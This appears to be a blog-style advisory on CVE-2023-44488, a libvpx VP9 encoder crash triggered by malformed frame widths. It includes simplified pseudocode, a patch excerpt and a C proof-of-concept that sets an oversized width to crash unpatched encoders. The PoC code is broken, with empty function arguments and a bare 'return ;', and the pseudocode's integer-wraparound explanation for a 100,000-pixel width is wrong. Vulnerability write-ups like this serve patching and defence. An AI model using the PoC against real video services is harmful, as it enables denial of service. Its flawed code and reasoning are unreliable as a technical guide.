CVE-2023-44488 - Crashing VP9 Encoders via Libvpx Width Mishandling

Libvpx, the open-source VP8/VP9 video codec library from Google, underpins web browsers, streaming services, and countless tools processing modern video. In late 2023, researchers uncovered a critical bug—CVE-2023-44488—that makes apps crash when encoding malformed VP9 streams. Let’s break it down, see how it works, and outline the exploit, all in straightforward terms.

What Is CVE-2023-44488?

- CVE ID: CVE-2023-44488
- Library Affected: libvpx

Affected Versions: Before 1.13.1

- Vulnerability Type: Memory Corruption / Crash (Denial of Service)

In Simple Terms

If a program uses libvpx to encode a VP9 video and receives a video with a *malicious or abnormally large width*, the library mishandles this value internally. This can lead to a buffer overrun or memory access error, causing the host app to crash.

Why Does This Matter?

- Crash your browser: Many browsers use libvpx for WebRTC and WebM—so even if a website *user* can push a weird-width video, your browser could crash.
- Denial of Service: Apps and video services using libvpx to encode incoming content (such as social platforms or video call servers) are at risk of unexpected termination.

Vulnerable Code Path

When dealing with incoming (user-supplied) video frames, the VP9 encoder in libvpx trusts the width field, even if it's absurdly large or invalid. This field is used to allocate buffers, copy memory, and more.

Example (simplified pseudocode)

int width = input_frame->width;     // Potentially attacker-controlled!
int stride = width * channels;      // Could overflow!

uint8_t *buffer = malloc(stride * height);
// ... later ...
memcpy(buffer, source, stride * height); // Unsafe if stride/width is gigantic!

*If width is, say, 100,000 pixels, the stride calculation wraps around and the buffer is dangerously undersized, leading to a crash on the next operation.*

Real Vulnerable Code Reference

You can view the actual fix on GitHub.

Here’s one touchpoint from the security patch

if (width > MAX_ALLOWED_WIDTH) {
  // error handling
}

Prior to this version, such sanity checks were missing or incomplete.

Building a PoC (Proof of Concept)

WARNING: Don’t try this on production systems.

Let’s craft a C application using libvpx that tries to encode a frame with a huge, invalid width.

Example PoC

#include <vpx/vpx_encoder.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    vpx_codec_ctx_t codec;
    vpx_codec_enc_cfg_t cfg;

    vpx_codec_err_t res = vpx_codec_enc_config_default(vpx_codec_vp9_cx(), &cfg, );
    if (res) {
        printf("Failed to get config\n");
        return 1;
    }

    // Malicious width that will break vulnerable libvpx
    cfg.g_w = 100000;  // Way bigger than possible or sensible

    res = vpx_codec_enc_init(&codec, vpx_codec_vp9_cx(), &cfg, );
    if (res) {
        printf("Codec init failed (probably fixed libvpx): %s\n", vpx_codec_err_to_string(res));
        return 1;
    }

    // Normally you'd encode a frame here, but
    // just initializing is enough to trigger crash in the vulnerable version

    printf("If you see this line, your libvpx is probably patched.\n");
    vpx_codec_destroy(&codec);
    return ;
}

Expected result on UNPATCHED libvpx:
Segmentation fault or “buffer overflow detected” message.
On patched (>=1.13.1): Codec initialization fails gracefully.

Crash the whole process (denial of service)

- If video encoding happens in a privileged process, may be able to cause further harm (though not direct code execution with this bug alone)

Official Links & References

- CVE-2023-44488 at NVD
- libvpx commit fix
- 1.13.1 Release Notes
- Security Mailing List - oss-security

Update libvpx: Make sure you run at least 1.13.1

- Patch downstream apps: Rebuild anything that bundles/links libvpx (ffmpeg, GStreamer, browsers, etc.)

Summary

CVE-2023-44488 is a good example of how a small oversight (forgetting to check an input width!) brings down massive infrastructure. The fix is simple: restrict frame sizes and handle errors safely. Upgrading libvpx and keeping an eye on third-party libraries is key to avoid these silent, risky crashes in real world deployments.

Stay safe and patch your codecs!

*This article is exclusive—crafted to keep things simple and direct, focusing on what matters for DevOps, IT admins, and anyone running video tools in 2024. If you maintain video servers or browsers, make sure your users can’t crash your stack with a silly-wide video frame!*

Timeline

Published on: 09/30/2023 20:15:10 UTC
Last modified on: 11/07/2023 04:21:38 UTC